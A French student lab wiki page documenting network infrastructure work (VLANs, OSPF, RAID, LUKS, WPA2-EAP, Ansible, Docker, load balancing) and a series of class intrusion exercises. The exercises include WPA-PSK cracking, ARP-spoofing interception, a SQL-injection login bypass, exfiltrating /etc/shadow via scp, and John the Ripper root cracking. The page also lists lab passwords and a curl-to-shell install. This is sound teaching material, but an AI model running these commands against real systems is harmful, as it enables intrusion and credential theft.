+ | A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA). | ||
+ | |||
+ | Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK: | ||
+ | aircrack-ng -w dictionnaire -b MACPA psk*.cap | ||
+ | |||
+ | Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale. | ||
+ | Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante: | ||
+ | crunch 8 8 0123456789 -o dictionnaire | ||
+ | |||
+ | Nous avons du attendre quelques heures avant que aircrack nous retourne la clef. | ||
+ | |||
+ | |||
+ | ==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)== | ||
+ | |||
+ | N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP. | ||
+ | |||
+ | |||
+ | [[Fichier:ARP1.png|1000px]] | ||
+ | |||
+ | |||
+ | On transforme la machine '''attacker''' en routeur: | ||
+ | attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1 | ||
+ | |||
+ | Puis on lance l'empoisonnement du cache ARP de la victime: | ||
+ | attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254 | ||
+ | |||
+ | On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime: | ||
+ | victime@victime:~/ /arp | ||
+ | bbox.lan (192.168.1.254) at 08:00:27:34:f9:27 | ||
+ | ... | ||
+ | attacker (192.168.1.44) at 08:00:27:34:f9:27 | ||
+ | L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker''' | ||
+ | |||
+ | Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''': | ||
+ | victime@victime:~/ traceroute 8.8.8.8 | ||
+ | 1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms | ||
+ | 2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms | ||
+ | ... | ||
+ | 9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms | ||
+ | |||
+ | On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site. | ||
+ | |||
+ | |||
+ | [[Fichier:ARP2.png|1000px]] | ||
+ | |||
+ | |||
+ | Même chose avec un logiciel de conversation instantanée non chiffré. | ||
+ | |||
+ | |||
+ | ==5.5 Intrusion sur un serveur d’application Web (04/11/2020)== | ||
+ | ===Injection SQL=== | ||
+ | On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure: | ||
+ | ' OR 1 = 1 -- | ||
+ | Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin''' | ||
+ | |||
+ | ===Base de donnée=== | ||
+ | En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD | ||
+ | http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables. | ||
+ | |||
+ | Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''') | ||
+ | |||
+ | ===connexion au serveur=== | ||
+ | On peut verifier que le serveur est bien accéssible a distance avec: | ||
+ | nmap -6 honey.plil.info | ||
+ | qui nous renseigne que les services http et ssh sont accéssible sur la machine. | ||
+ | |||
+ | On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée. | ||
+ | |||
+ | On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère: | ||
+ | scp /etc/passwd pifou@zabethXX:~/intrusion/passwd | ||
+ | scp /etc/shadow pifou@zabethXX:~/intrusion/shadow | ||
+ | |||
+ | |||
+ | ===Cassage du mot de passe root=== | ||
+ | Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''. | ||
+ | La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs. | ||
+ | unshadow ./passwd ./shadow | grep root > pass | ||
+ | On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''. | ||
+ | |||
+ | Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé. | ||
+ | crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico | ||
+ | sed -i 's/\(.*\)/\1\1/' dico | ||
+ | |||
+ | puis on lance le cassage: | ||
+ | /usr/sbin/john -w:dico pass | ||
+ | |||
+ | apres quelques minutes, le mot de passe est diponible en clair: | ||
+ | /usr/sbin/john --show pass | ||
+ | |||
+ | =Réalisations= | ||
+ | |||
+ | ==6.1 Sécurisation de données (11/30/2020)== | ||
+ | |||
+ | On commence par créer les trois disques virtuel de 1G utilisé pour RAID5: | ||
+ | lvcreate -L1G -ntrompettedelamort-raid1 storage | ||
+ | lvcreate -L1G -ntrompettedelamort-raid2 storage | ||
+ | lvcreate -L1G -ntrompettedelamort-raid3 storage | ||
+ | |||
+ | Et on les ajoutes au on les ajoute au fichier de config de la VM (sur Capbreton: /etc/xen/trompettedelamort.cfg) | ||
+ | 'phy:/dev/storage/trompettedelamort-raid1,xvdb1,w', | ||
+ | 'phy:/dev/storage/trompettedelamort-raid2,xvdb2,w', | ||
+ | 'phy:/dev/storage/trompettedelamort-raid3,xvdb3,w' | ||
+ | |||
+ | On relance la VM et on peut désormatit créer la partition Raid : | ||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3 | ||
+ | |||
+ | On formate la partition: | ||
+ | mkfs.ext4 /dev/md0 | ||
+ | |||
+ | On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm : | ||
+ | /dev/md0 /media/raid ext4 defaults 0 1 | ||
+ | |||
+ | et on valide les modifications: | ||
+ | mount -a | ||
+ | |||
+ | Enfin on peut vérifier le bon fonctionnement de la persistence des données en peuplant la partition et en redémarant la VM avec une partition en moins...les données sont toujours disponibles. | ||
+ | |||
+ | ==6.2 Chiffrement de données (01/12/2020)== | ||
+ | |||
+ | Apres insertion de la cle, on cherche le nom de la partition: | ||
+ | lsblk | ||
+ | |||
+ | On creer une nouvelle partition sur la clee: | ||
+ | fdisk /dev/sda | ||
+ | * entrer n pour une nouvelle partition | ||
+ | * entrer le numero de la partition | ||
+ | * debut de la partition : laisser par defaut | ||
+ | * fin de la partition : laisser par defaut (prend tout l'espace disponible) | ||
+ | * w pour ecrire. | ||
+ | Puis: | ||
+ | partprobe | ||
+ | |||
+ | On initialise la partition avec le chiffrement grace au paquetqge cryptsetup: | ||
+ | cryptsetup luksFormat /dev/sda1 | ||
+ | cryptsetup luksOpen /dev/sda1 home | ||
+ | mkfs.ext4 /dev/mapper/home | ||
+ | |||
+ | puis montage de la partition: | ||
+ | |||
+ | mount /dev/mapper/home /mnt/ | ||
+ | |||
+ | On peut creer des fichiers dans /mnt pour tester puis on demonte et ferme le volume chiffre: | ||
+ | umount /mnt | ||
+ | crytsetup luksClose home | ||
+ | |||
+ | Losqu'on rebranche la cle, un mot de passe nous est demander pour monter la cle. Sans ce mot de passe, il est impossible d'acceder au contenu. | ||
+ | |||
+ | ==6.4 Sécurisation WiFi par WPA2-EAP (14/12/2020)== | ||
+ | |||
+ | ===Configuration de la borne wifi=== | ||
+ | |||
+ | On se connecte à la borne wifi depuis notre VM: | ||
+ | ssh root@10.60.100.10 -c aes128-cbc | ||
+ | |||
+ | Puis on configure le point d'accès dans notre vlan 301: | ||
+ | wifi# aaa authentication login eap_group1 group radius_group1 | ||
+ | wifi# radius-server host 193.48.57.188 auth-port 1812 acct-port 1813 key secret_group1 | ||
+ | wifi# aaa group server radius radius_group1 | ||
+ | wifi# server 193.48.57.188 auth-port 1812 acct-port 1813 | ||
+ | wifi# dot11 ssid SSID_GROUP1 | ||
+ | wifi# mbssid guest-mode | ||
+ | wifi# vlan 301 | ||
+ | wifi# authentication open eap eap_group1 | ||
+ | wifi# authentication network-eap eap_group1 | ||
+ | wifi# authentication key-management wpa | ||
+ | wifi# int Dot11Radio0 | ||
+ | wifi# encryption vlan 301 mode ciphers aes-ccm tkip | ||
+ | wifi# mbssid | ||
+ | wifi# ssid SSID_GROUP1 | ||
+ | wifi# int dot11radio0.1 | ||
+ | wifi# encapsulation dot1q 301 | ||
+ | wifi# bridge-group 15 #le groupe 1 était deja pris | ||
+ | wifi# int Gi0.1 | ||
+ | wifi# encapsulation dot1q 301 | ||
+ | wifi# bridge-group 15 | ||
+ | |||
+ | ===Installation de Freeradius=== | ||
+ | |||
+ | * Dans '''/etc/freeradius/3.0/users''', on créer les identifiants de connexion: | ||
+ | bob Cleartext-Password := "leponge" | ||
+ | |||
+ | * Dans '''/etc/freeradius/3.0/client.conf''', on ajoute l'adresse ip du point d'acces: | ||
+ | client pra_wifi { | ||
+ | ipaddr = 10.60.100.10 | ||
+ | secret = secret_group1 | ||
+ | } | ||
+ | |||
+ | * Dans '''/etc/freeradius/3.0/mods-enabled/eap''', on change le mode d'authentification | ||
+ | default_eap_type = peap | ||
+ | |||
+ | Emfin, on lance freeradius: | ||
+ | freeradius -X | ||
+ | |||
+ | ===serveur DHCP=== | ||
+ | On créer un serveur DHCP sur les chaque routeur pour attribuer dynamiquement des adresses aux appareils se connectant au point d'accès: | ||
+ | Le routeur 1 distribuera les adresses de 10.60.101.100 à 10.60.101.149 et le routeur 2 les adresses de 10.60.101.50 à 10.60.101.99 | ||
+ | |||
+ | 6509E# ip dhcp pool groupe1 | ||
+ | 6509E# dns 193.48.57.188 | ||
+ | 6509E# network 10.60.101.0 255.255.255.0 | ||
+ | 6509E# default-router 10.60.101.254 | ||
+ | 6509E# exit | ||
+ | 6509E# ip dhcp excluded-address 10.60.101.0 10.60.101.99 | ||
+ | 6509E# ip dhcp excluded-address 10.60.101.150 10.60.101.255 | ||
+ | |||
+ | C9200# ip dhcp pool groupe1 | ||
+ | C9200# dns 193.48.57.188 | ||
+ | C9200# network 10.60.101.0 255.255.255.0 | ||
+ | C9200# default-router 10.60.101.254 | ||
+ | C9200# exit | ||
+ | C9200# ip dhcp excluded-address 10.60.101.0 10.60.101.49 | ||
+ | C9200# ip dhcp excluded-address 10.60.101.100 10.60.101.255 | ||
+ | |||
+ | |||
+ | ===Connexion à internet : Mascarade=== | ||
+ | |||
+ | 6509E# int vlan 301 | ||
+ | 6509E# ip nat inside | ||
+ | 6509E# exit | ||
+ | 6509E# int vlan 131 | ||
+ | 6509E# ip nat outside | ||
+ | 6509E# exit | ||
+ | 6509E# int Loopback0 | ||
+ | 6509E# ip address 193.48.57.189 | ||
+ | 6509E# exit | ||
+ | 6509E# access-list 101 permit ip 10.60.101.0 0.0.0.255 any | ||
+ | 6509E# ip nat inside source list 101 interface Loopback0 overload | ||
+ | |||
+ | Et ca ne marche pas....a résoudre | ||
+ | |||
+ | |||
+ | =Ferme de serveurs Web= | ||
+ | |||
+ | ==7.1 Architecture générale de la ferme== | ||
+ | |||
+ | |||
+ | ===Mise en réseau de la VM secondaire (sur chassiron)=== | ||
+ | |||
+ | L'interface bridge à déja été montée à la création de la VM, on modifie '''/etc/network/interfaces''': | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 192.168.42.15 | ||
+ | netmask 255.255.255.0 | ||
+ | gateway 192.168.42.1 | ||
+ | |||
+ | |||
+ | ===Mise en réseau de la VM principale (sur capbreton)=== | ||
+ | |||
+ | On commence par ajouter une deuxieme interface réseau a la VM principale pour la rendre accessible via VLAN50. ON modifie donc '''/etc/xen/tromettedelamort.cfg''' | ||
+ | |||
+ | vif = [ 'bridge=IMA5sc, mac=00:16:3E:6F:4F:0B', | ||
+ | 'bridge=bridgeStudents, mac=00:16:3E:6F:4F:0C' | ||
+ | ] | ||
+ | |||
+ | on relance la VM puis on modifie '''/etc/network/interfaces''' pour ajouter une IP fixe sur cette nouvelle interface: | ||
+ | auto eth1 | ||
+ | iface eth1 inet static | ||
+ | address 192.168.42.1 | ||
+ | netmask 255.255.255.0 | ||
+ | |||
+ | On peut tester l'interconnexion des deux VMs | ||
+ | root@192.168.42.1/~# ping 192.168.42.15 | ||
+ | |||
+ | Enfin, on donne accès à internet à notre VM secondaire en mettant en place une mascarade: | ||
+ | iptables -P FORWARD DROP | ||
+ | iptables -A FORWARD -j ACCEPT -s 192.168.42.15/32 | ||
+ | iptables -A FORWARD -j ACCEPT -d 192.168.42.15/32 | ||
+ | iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.15/32 --to-source 193.48.57.188 # la masquarade en question | ||
+ | iptables-save | ||
+ | echo 1 > /proc/sys/net/ipv4/ip_forward # pour activer le routage par iptables | ||
+ | |||
+ | |||
+ | ===Installation Ansible sur la VM principale=== | ||
+ | |||
+ | apt-get install ansible python3 pithon3-pip | ||
+ | pip3 install ansible | ||
+ | |||
+ | Après installation, on configure le fichier '''/etc/ansible/hosts''' dans lequel on ajoute toutes les cibles de nos déploiements | ||
+ | [webserver-main] | ||
+ | 192.168.42.15 | ||
+ | |||
+ | [webserver-slaves] | ||
+ | 192.168.42.15 | ||
+ | 192.168.42.28 | ||
+ | ... | ||
+ | |||
+ | |||
+ | ===Partage des clés SSH=== | ||
+ | Depuis la VM principale: | ||
+ | mkdir /root/.ssh/ | ||
+ | cd /root/.ssh/ | ||
+ | ssh-keygen -t rsa -b 2048 | ||
+ | cat /root/.ssh/id_rsa.pub | ||
+ | puis on copie la clée publique dans /root/.ssh/authorized_keys2 de la VM secondaire. | ||
+ | Si la connexion ssh est autorisé en root sur la VM secondaire, on peut directement faire: | ||
+ | ssh-copy-id -i /root/.ssh/id_rsa.pub root @192.168.42.15 | ||
+ | |||
+ | |||
+ | ===Premier role pour configurer /etc/modt et le serveur NTP=== | ||
+ | |||
+ | cf. fichers sur la vm principale '''/etc/ansible''' | ||
+ | |||
+ | ansible-playbook playbook-webserver-main.yml | ||
+ | |||
+ | |||
+ | ==7.2 Installation de docker== | ||
+ | On récupère les roles déja écrit par '''geerlingguy''' pour l'installation de pip et docker: | ||
+ | ansible-galaxy geerlingguy-pip | ||
+ | ansible-galaxy geerlingguy-docker | ||
+ | |||
+ | Pour adapter l'installation de docker a notre architecture avec le nouveau role, il faut initialiser des variables dans le '''playbook'''. | ||
+ | Pour trouver le nom de ces variables: | ||
+ | apt install locate | ||
+ | updatedb | ||
+ | locate geerlingguy # le fichier qui nous interesse est .../default/main.yaml | ||
+ | cat /root/.../geerlingguy.docker/default/main.yaml | ||
+ | |||
+ | On ajoute au '''playbook''': | ||
+ | vars: | ||
+ | docker_apt_repository: "deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}" | ||
+ | docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg | ||
+ | |||
+ | Enfin, on lance le playbook: | ||
+ | ansible-playbook playbook-webserver-main.yml | ||
+ | |||
+ | |||
+ | ==7.3 Création du conteneur== | ||
+ | |||
+ | ===Installation Docker sur la VM principale=== | ||
+ | wget -qO - get.docker.com | sh | ||
+ | |||
+ | |||
+ | ===Création de l'image=== | ||
+ | On se base sur l'image d''''apache''' | ||
+ | FROM httpd:latest | ||
+ | COPY ./trompettedelamort.site/toto.html /usr/local/apache2/htdocs/index.html | ||
+ | COPY ./trompettedelamort.site/trompettedelamort.png /usr/local/apache2/htdocs/trompettedelamort.png | ||
+ | CMD ["httpd","-D","FOREGROUND"] | ||
+ | |||
+ | Construction de l'image: | ||
+ | docker build -t trompettedelamort . | ||
+ | |||
+ | On peut créer un conteneur à partir de l'image pour tester: | ||
+ | docker run -dit -name trompettedelamort -p8080:80 trompettedelamort:latest | ||
+ | docker exec -it trompettedelamort bash | ||
+ | |||
+ | |||
+ | ===Création du registre de conteneur sur la VM distante=== | ||
+ | On créer un role '''registry''' dans lequel on lance un conteneur spécialement concu pour la tache '''registry''' | ||
+ | On oublie pas d'ajouter dans '''/etc/docker/daemon.json''' la liste des registres non sécurisé grace la tache '''Copy daemon.json''' | ||
+ | |||
+ | cf. '''/etc/ansible/roles/registry/tasks/main.yml'''. | ||
+ | |||
+ | Après avoir joué le role dans le playbook, on peut essayer de pousser un conteneur dans le nouveau registre: | ||
+ | docker tag trompettedelamort 192.168.42.15:5000/trompettedelamort | ||
+ | docker push 192.168.42.15:5000/trompettedelamort | ||
+ | |||
+ | On constate un problème avec ce role: après avoir changer le fichier de configuration '''daemon.json''', on redemare le service docker pour prendre en compte notre modification. | ||
+ | Cependant, au redemarage, le conteneur '''registry''' ne se relance pas donc on ne peut plus déployer de conteneurs. | ||
+ | Problème à régler!!! | ||
+ | |||
+ | |||
+ | ==7.4 Configuration des serveurs internes== | ||
+ | On créer un role '''apache''' dans lequel on demande à la machine distante des tirer l'image que l'on à créé precedement a partir du registre sur la VM secondaire et de lancer le conteneur sur un port précis (8081 dans notre cas) | ||
+ | |||
+ | cf. '''/etc/ansible/roles/apache/tasks/main.yml''' et '''/etc/ansible/playbook-webserver-slaves.yml''' | ||
+ | |||
+ | On peut vérifier que le conteneur ce lance correctement en se connectant en ssh a une machine distante et lancant la commande: | ||
+ | docker ps | ||
+ | on devrait voir apparaitre notre conteneur qui tourne bien. | ||
+ | |||
+ | |||
+ | ==7.5 Equilibreur de charge== | ||
+ | Pour répartir la la charge vers nos conteneurs apaches répartis sur les différentes VM, on ajoute uen entrée au domaine dans le fichier '''/etc/bind/db.trompettedelamort.site''': | ||
+ | reverse IN CNAME ns1 | ||
+ | |||
+ | On oublie pas d'incrémenter le numéro ''serial'' puis on resigne notre certificat et relance le service: | ||
+ | cd /etc/bind/trompettedelamort.site.dnssec && dnssec-signzone -o trompettdelamort.site -k trompettdelamort.site-ksk ../db.trompettdelamort.site trompettdelamort.site-zsk | ||
+ | service bind9 restart | ||
+ | a2enmod proxy | ||
+ | a2enmod proxy_http | ||
+ | |||
+ | On parametre ensuite apache sur la VM principale pour répartir la charges sur les VMs distantes. Dans '''/etc/apache2/apache.conf''' | ||
+ | <Proxy "balancer://mycluster"> | ||
+ | BalancerMember "http://192.168.42.15:8081" route=1 | ||
+ | BalancerMember "http://192.168.42.28:8081" route=2 | ||
+ | BalancerMember "http://192.168.42.14:8081" route=3 | ||
+ | BalancerMember "http://192.168.42.17:8081" route=4 | ||
+ | BalancerMember "http://192.168.42.20:8081" route=5 | ||
+ | BalancerMember "http://192.168.42.22:8081" route=6 | ||
+ | BalancerMember "http://192.168.42.24:8081" route=7 | ||
+ | BalancerMember "http://192.168.42.25:8081" route=8 | ||
+ | </Proxy> | ||
+ | |||
+ | puis dans ''/etc/apache2/sites-available/reverse.conf'' | ||
+ | <VirtualHost *:80> | ||
+ | ServerName reverse.trompettedelamort.site | ||
+ | ProxyPreserveHost On | ||
+ | |||
+ | ProxyPass /status ! | ||
+ | ProxyPass / "balancer://mycluster" | ||
+ | ProxyPassReverse / "balancer://mycluster" | ||
+ | |||
+ | <location /status> | ||
+ | SetHandler server-status | ||
+ | Allow from all | ||
+ | </location> | ||
+ | </VirtualHost> | ||
+ | |||
+ | Enfin: | ||
+ | a2ensite reverse | ||
+ | a2enmod proxy_balancer | ||
+ | a2enmod lbmethod_byrequests | ||
+ | service apache2 restart | ||
+ | |||
+ | Visiter '''reverse.trompettedelamort.site''' |
Version actuelle datée du 28 décembre 2020 à 19:59
TP PRA - Evan Gury & Vincent Dubois - trompettedelamort
Groupe | Domaine | Distribution | VLAN privé | IP (VLAN333) | Netmask (VLAN333) | Gateway (VLAN333) | Gateway 6509-E (VLAN333) | Gateway 9200 (VLAN333) | IP (publique) |
---|---|---|---|---|---|---|---|---|---|
Groupe 1 | trompettedelamort.site | Debian 10 Buster | 301 | 100.64.0.28 | 255.255.255.0 | 100.64.0.254 | 100.64.0.1 | 100.64.0.2 | 193.48.57.188 |
http://www.trompettedelamort.site/toto.html
Connexion au wifi SSID_GROUP1:
- Login : bob
- Passwd : leponge
Sommaire
- 1 2 Installation des systèmes d’exploitation (12/10/2020)
- 2 3 Architecture réseau
- 2.1 3.1 L’architecture générale (12/10/2020)
- 2.2 3.2 Les réseaux virtuels (12/10/2020)
- 2.3 3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)
- 2.4 3.6 Interconnexion avec Internet (IPv6)(02/11/2020)
- 2.5 3.7 Sécurisation du réseau (02/11/2020)
- 2.6 3.8 Interconnexion Internet de secours (IPv4) (30/11/2020)
- 2.7 3.9 Interconnexion Internet de secours (IPv6) ()
- 3 4 Services Internet
- 4 Tests d’intrusion
- 4.1 5.1 Exploitation de failles du système (en cours)
- 4.2 5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)
- 4.3 5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)
- 4.4 5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)
- 4.5 5.5 Intrusion sur un serveur d’application Web (04/11/2020)
- 5 Réalisations
- 6 Ferme de serveurs Web
2 Installation des systèmes d’exploitation (12/10/2020)
ssh capbreton.plil.info xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster
- Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):
Sur Capbreton:
- On réquisitionne les deux disques de 2,7To que l'on met dans un groupe
pvcreate /dev/sde pvcreate /dev/sdf vgcreate storage /dev/sde /dev/sdf
- On créer 2 partitions de 10Go pour chaque binôme:
lvcreate -L10G -n trompettedelamort1 storage lvcreate -L10G -n trompettedelamort2 storage ...meme chose pour chaque groupe...
- On formate nos partitions:
mkfs.ext4 /dev/storage/trompettedelamort1 mkfs.ext4 /dev/storage/trompettedelamort2
- Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [ 'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w', 'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w', 'phy:/dev/storage/trompettedelamort1,xvda3,w', 'phy:/dev/storage/trompettedelamort2,xvda4,w' ]
- Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg
Ensuite, sur la MV:
- Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4 mv /var/* /mnt/xvda4 # /home est vide donc rien a déplacer
puis on démonte:
umount /mnt/xvda3 umount /mnt/xvda4
- Modification du fichier /etc/fstab pour monter les répertoires var et home sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2 /dev/xvda4 /var /ext4 default 0 2
et on applique les modification du fichier fstab:
mount -a
3 Architecture réseau
3.1 L’architecture générale (12/10/2020)
La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.
3.2 Les réseaux virtuels (12/10/2020)
On créer deux VLAN:
- VLAN131 pour se connecter au routeur de l'école
- VLAN333 pour accéder aux machines virtuelles sur Capbreton
Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances
3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)
Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
- 1 adresse pour le réseau
- 1 adresse de Broadcast
- 1 adresse pour le routeur 1 (6509-E)
- 1 adresse pour le routeur 2 (9200)
- 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible
L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28 Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.
OSPF
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école
6509-E
ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur
router ospf 1 # un numéro de processus router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible) log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333) summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé) summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?) redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés redistribute static subnets network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)
On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48
De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route
9200 On fait la meme chose en changeant le router-id : 10.60.0.102
NAT
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188 Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131 ip nat outside exit int vlan 333 ip nat inside exit
Problème association OSPF et NAT
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.
Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT). La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot enable conf t int vlan 333 no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée ip address 100.64.0.1 255.255.255.0 exit exit write
on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1 router-id 10.60.100.1
Enfin, on ajoute la route vers notre MV à la main:
ip route 193.48.57.188 255.255.255.255 100.64.0.28
Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).
Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.
3.6 Interconnexion avec Internet (IPv6)(02/11/2020)
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6
On crée le VLAN301 pour notre domaine:
- sur 6509-E
conf t vlan 301 name trompettedelamort exit int vlan 301 no shutdown ip address 10.60.101.1 255.255.255.0 ipv6 enable ipv6 address 2001:660:4401:60b3::0/64 eui-64 ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900 ipv6 nd router-preference High #car routeur principale
- sur 6509-E
conf t vlan 301 name trompettedelamort exit int vlan 301 no shutdown ip address 10.60.101.2 255.255.255.0 ipv6 enable ipv6 address 2001:660:4401:60b3::0/64 eui-64 ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900 ipv6 nd router-preference Low
Annonce de route avec RIP fait par groupe 14
3.7 Sécurisation du réseau (02/11/2020)
En partenariat avec le groupe 14. Attention la syntaxe est différente entre le 9200 et le 6509-E On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301. 6509-E
conf t int vlan 333 vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333 vrrp 33 preemt # priorité au routeur qui a une priorité supérieur vrrp 33 priority 110 # priorité supérieur a celle du 9200 exit int vlan 301 vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333 vrrp 31 preemt # priorité au routeur qui a une priorité supérieur vrrp 31 priority 110 # priorité supérieur a celle du 9200 exit int vlan 301 vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan vrrp 41 preemt vrrp 41 priority 110 exit exit write
9200
conf t int vlan 333 vrrp 33 address-family ipv4 priority 100 address 100.64.0.254 preemt exit int vlan 1 vrrp 31 address-family ipv4 priority 100 address 10.60.100.254 preemt exit int vlan 301 vrrp 41 address-family ipv4 priority 100 address 10.60.101.254 preemt exit exit write
3.8 Interconnexion Internet de secours (IPv4) (30/11/2020)
(En collaboration avec le groupe 14)
ISR4331
On commcence par connecter l'ISR au boitier SDSL dans le local technique SR52. Pour cela, on repère le port de connexion:
SR52# int Gi0/37 SR52# switchport mode access SR52# switchport access vlan 531
Puis on configure le nouveau VLAN 531 sur l'ISR (!Attention! sur cet équipement, l'équivalent VLAN est BDI)
